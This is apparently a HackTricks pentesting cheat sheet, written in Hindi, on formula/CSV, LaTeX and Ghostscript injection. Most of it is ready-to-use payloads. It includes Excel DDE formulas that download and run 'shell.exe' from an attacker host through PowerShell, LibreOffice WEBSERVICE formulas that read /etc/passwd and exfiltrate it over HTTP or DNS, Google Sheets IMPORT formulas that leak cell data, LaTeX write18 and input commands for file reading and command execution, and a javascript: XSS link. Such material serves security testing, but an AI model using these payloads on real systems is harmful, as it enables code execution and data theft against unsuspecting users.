Formula/CSV/Doc/LaTeX/GhostScript Injection

Reading time: 9 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Formula Injection

Info

यदि आपका input CSV files (या किसी अन्य फ़ाइल जो शायद Excel द्वारा खोली जाएगी) के अंदर reflected हो रहा है, तो आप Excel formulas डालने में सक्षम हो सकते हैं जो executed होंगे जब उपयोगकर्ता file को खोलेगा या जब उपयोगकर्ता Excel शीट के अंदर कुछ लिंक पर क्लिक करेगा।

caution

आजकल Excel उपयोगकर्ता को चेतावनी देगा (कई बार) जब कुछ बाहरी Excel से लोड किया जाता है ताकि उसे दुर्भावनापूर्ण कार्रवाई से रोका जा सके। इसलिए, अंतिम payload पर सामाजिक इंजीनियरिंग पर विशेष प्रयास करना आवश्यक है।

Wordlist

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

निम्नलिखित उदाहरण अंतिम एक्सेल शीट से सामग्री निकालने और मनमाने स्थानों पर अनुरोध करने के लिए बहुत उपयोगी है। लेकिन इसके लिए उपयोगकर्ता को लिंक पर क्लिक करना आवश्यक है (और चेतावनी संकेतों को स्वीकार करना आवश्यक है)।

निम्नलिखित उदाहरण https://payatu.com/csv-injection-basic-to-exploit से लिया गया है।

कल्पना करें कि एक छात्र रिकॉर्ड प्रबंधन प्रणाली में सुरक्षा उल्लंघन को CSV इंजेक्शन हमले के माध्यम से शोषण किया गया है। हमलावर का प्राथमिक इरादा उस प्रणाली को समझौता करना है जिसका उपयोग शिक्षक छात्र विवरण प्रबंधित करने के लिए करते हैं। यह विधि हमलावर द्वारा एप्लिकेशन में एक दुर्भावनापूर्ण पेलोड इंजेक्ट करने की प्रक्रिया को शामिल करती है, विशेष रूप से छात्र विवरण के लिए निर्धारित क्षेत्रों में हानिकारक सूत्र दर्ज करके। हमला इस प्रकार unfolds होता है:

  1. दुर्भावनापूर्ण पेलोड का इंजेक्शन:
  • हमलावर एक छात्र विवरण फॉर्म प्रस्तुत करता है लेकिन एक सूत्र शामिल करता है जो सामान्यतः स्प्रेडशीट में उपयोग किया जाता है (जैसे, =HYPERLINK("<malicious_link>","Click here"))।
  • यह सूत्र एक हाइपरलिंक बनाने के लिए डिज़ाइन किया गया है, लेकिन यह हमलावर द्वारा नियंत्रित एक दुर्भावनापूर्ण सर्वर की ओर इशारा करता है।
  1. समझौता किए गए डेटा का निर्यात:
  • शिक्षक, समझौते के बारे में अनजान, डेटा को CSV फ़ाइल में निर्यात करने के लिए एप्लिकेशन की कार्यक्षमता का उपयोग करते हैं।
  • CSV फ़ाइल, जब खोली जाती है, तब भी दुर्भावनापूर्ण पेलोड को शामिल करती है। यह पेलोड स्प्रेडशीट में एक क्लिक करने योग्य हाइपरलिंक के रूप में दिखाई देता है।
  1. हमले को सक्रिय करना:
  • एक शिक्षक हाइपरलिंक पर क्लिक करता है, यह मानते हुए कि यह छात्र के विवरण का एक वैध हिस्सा है।
  • क्लिक करने पर, संवेदनशील डेटा (संभवतः स्प्रेडशीट या शिक्षक के कंप्यूटर से विवरण शामिल) हमलावर के सर्वर पर भेजा जाता है।
  1. डेटा को लॉग करना:
  • हमलावर का सर्वर शिक्षक के कंप्यूटर से भेजे गए संवेदनशील डेटा को प्राप्त करता है और लॉग करता है।
  • हमलावर फिर इस डेटा का उपयोग विभिन्न दुर्भावनापूर्ण उद्देश्यों के लिए कर सकता है, छात्रों और संस्थान की गोपनीयता और सुरक्षा को और अधिक समझौता कर सकता है।

RCE

अधिक विवरण के लिए मूल पोस्ट की जांच करें।

विशिष्ट कॉन्फ़िगरेशन या पुराने संस्करणों के Excel में, एक सुविधा जिसे डायनामिक डेटा एक्सचेंज (DDE) कहा जाता है, का उपयोग मनमाने आदेशों को निष्पादित करने के लिए किया जा सकता है। इसका लाभ उठाने के लिए, निम्नलिखित सेटिंग्स सक्षम की जानी चाहिए:

  • फ़ाइल → विकल्प → ट्रस्ट सेंटर → ट्रस्ट सेंटर सेटिंग्स → बाहरी सामग्री पर जाएं, और डायनामिक डेटा एक्सचेंज सर्वर लॉन्च सक्षम करें।

जब दुर्भावनापूर्ण पेलोड के साथ एक स्प्रेडशीट खोली जाती है (और यदि उपयोगकर्ता चेतावनियों को स्वीकार करता है), तो पेलोड निष्पादित होता है। उदाहरण के लिए, कैलकुलेटर एप्लिकेशन लॉन्च करने के लिए, पेलोड होगा:

markdown
=cmd|' /C calc'!xxx

अतिरिक्त कमांड भी निष्पादित किए जा सकते हैं, जैसे कि PowerShell का उपयोग करके एक फ़ाइल डाउनलोड करना और उसे निष्पादित करना:

bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

Local File Inclusion (LFI) in LibreOffice Calc

LibreOffice Calc का उपयोग स्थानीय फ़ाइलों को पढ़ने और डेटा को एक्सफिल्ट्रेट करने के लिए किया जा सकता है। यहाँ कुछ तरीके हैं:

  • स्थानीय /etc/passwd फ़ाइल से पहली पंक्ति पढ़ना: ='file:///etc/passwd'#$passwd.A1
  • पढ़े गए डेटा को हमलावर-नियंत्रित सर्वर पर एक्सफिल्ट्रेट करना: =WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
  • एक से अधिक पंक्तियाँ एक्सफिल्ट्रेट करना: =WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
  • DNS एक्सफिल्ट्रेशन (पढ़े गए डेटा को DNS क्वेरी के रूप में हमलावर-नियंत्रित DNS सर्वर पर भेजना): =WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))

Google Sheets for Out-of-Band (OOB) Data Exfiltration

Google Sheets ऐसे फ़ंक्शन प्रदान करता है जिन्हें OOB डेटा एक्सफिल्ट्रेशन के लिए शोषित किया जा सकता है:

  • CONCATENATE: स्ट्रिंग्स को एक साथ जोड़ता है - =CONCATENATE(A2:E2)
  • IMPORTXML: संरचित डेटा प्रकारों से डेटा आयात करता है - =IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
  • IMPORTFEED: RSS या ATOM फ़ीड आयात करता है - =IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
  • IMPORTHTML: HTML तालिकाओं या सूचियों से डेटा आयात करता है - =IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
  • IMPORTRANGE: किसी अन्य स्प्रेडशीट से सेल की एक श्रृंखला आयात करता है - =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
  • IMAGE: एक सेल में एक छवि डालता है - =IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")

LaTeX Injection

आमतौर पर, सर्वर जो इंटरनेट पर LaTeX कोड को PDF में परिवर्तित करते हैं, वे pdflatex का उपयोग करते हैं।
यह प्रोग्राम कमांड निष्पादन को (अ)अनुमति देने के लिए 3 मुख्य विशेषताओं का उपयोग करता है:

  • --no-shell-escape: \write18{command} निर्माण को अक्षम करें, भले ही यह texmf.cnf फ़ाइल में सक्षम हो।
  • --shell-restricted: --shell-escape के समान, लेकिन सुरक्षित सेट की पूर्वनिर्धारित कमांड्स तक सीमित। (Ubuntu 16.04 में सूची /usr/share/texmf/web2c/texmf.cnf में है)।
  • --shell-escape: \write18{command} निर्माण को सक्षम करें। कमांड कोई भी शेल कमांड हो सकता है। सुरक्षा कारणों से इस निर्माण को सामान्यतः अनुमति नहीं दी जाती है।

हालांकि, कमांड निष्पादित करने के अन्य तरीके हैं, इसलिए RCE से बचने के लिए --shell-restricted का उपयोग करना बहुत महत्वपूर्ण है।

Read file

आपको [ या $ के रूप में रैपर के साथ इंजेक्शन को समायोजित करने की आवश्यकता हो सकती है।

bash
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}

एकल पंक्ति फ़ाइल पढ़ें

bash
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

कई पंक्तियों वाली फ़ाइल पढ़ें

bash
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

फ़ाइल लिखें

bash
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

Command execution

कमांड का इनपुट stdin पर पुनर्निर्देशित किया जाएगा, इसे प्राप्त करने के लिए एक अस्थायी फ़ाइल का उपयोग करें।

bash
\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}

यदि आपको कोई LaTex त्रुटि मिलती है, तो खराब वर्णों के बिना परिणाम प्राप्त करने के लिए base64 का उपयोग करने पर विचार करें।

bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
bash
\input|ls|base4
\input{|"/bin/hostname"}

Cross Site Scripting

@EdOverflow से

bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

Ghostscript Injection

चेक करें https://blog.redteam-pentesting.de/2023/ghostscript-overview/

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें